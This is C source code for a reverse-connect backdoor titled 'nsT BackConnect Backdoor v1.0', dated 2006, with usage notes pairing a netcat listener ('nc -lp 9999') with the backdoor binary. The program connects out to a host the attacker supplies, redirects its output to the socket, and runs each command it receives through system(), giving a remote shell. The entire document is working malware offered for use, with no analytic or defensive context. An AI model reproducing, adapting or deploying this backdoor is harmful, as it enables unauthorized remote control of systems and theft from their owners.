nsT BackConnect Backdoor v1.0

/*
oooo...oooo.oooooooo8.ooooooooooo
.8888o..88.888........88..888..88
.88.888o88..888oooooo.....888....
.88...8888.........888....888....
o88o....88.o88oooo888....o888o...
*********************************
**** Network security team ******
********* nst.void.ru ***********
*********************************
* Title: nsT BackConnect Backdoor v1.0
* Date: 09.04.2006
* Usage:
*    client:    nc -lp 9999
*    server: ./backconnect <ip_client> 9999
*********************************
*/

#include <stdlib.h>
#include <stdio.h>
#include <error.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <resolv.h>

int main (int argc, char **argv) {
  struct sockaddr_in sock;
  int sd;
  char command[256];
  
  if (argc < 3) {
   printf("%s <host> <port>\n", argv[0]);
   return 1;
  }
  
  close(1);
  
  if ((sd = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
   perror(argv[0]);
   return 1;
  }
  
  bzero(&sock, sizeof(sock));
  
  sock.sin_family = AF_INET;
  sock.sin_port = htons(atoi(argv[2]));
  inet_aton(argv[1], &sock.sin_addr);
  
  if (connect(sd, (struct sockaddr *)&sock, sizeof(sock))) {
   perror(argv[0]);
   return 1;
  }
  
  close(2);
  dup(sd);
  
  bzero(command, 256);
  while (recv(sd, command, 255, 0) && strncmp(command, "quit", 4)) {
   system(command);
   bzero(command, 256);
  }
  
  close(sd);
  return 0;
}